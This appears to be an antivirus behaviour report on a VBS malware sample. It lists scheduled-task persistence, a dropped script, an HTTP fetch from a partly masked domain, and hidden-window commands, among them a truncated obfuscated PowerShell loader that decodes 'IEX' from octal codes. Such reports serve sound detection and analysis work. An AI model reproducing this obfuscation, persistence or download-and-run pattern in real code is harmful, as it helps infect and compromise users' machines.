Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\quedinha
Modifies file system
Creates the following files
- %LOCALAPPDATA%\microsoft\<File name>.vbs
Network activity
TCP
HTTP GET requests
- http://re#####ismbrasil.com/abril/06cifraonjabril.xml
UDP
- DNS ASK google.com
- DNS ASK re#####ismbrasil.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $df88s99=-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])});sal gN7 $df88s99;$PoeGn=@(36,84,98,111,110,101,61,39,42,69,88,39,46,114,101,112,108,97,99,10...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c copy "<PATH_SAMPLE>.vbs" "%LOCALAPPDATA%\Microsoft" /Y' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $df88s99=-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])});sal gN7 $df88s99;$PoeGn=@(36,84,98,111,110,101,61,39,42,69,88,39,46,114,101,112,108,97,99,10...
- '<SYSTEM32>\cmd.exe' /c copy "<PATH_SAMPLE>.vbs" "%LOCALAPPDATA%\Microsoft" /Y
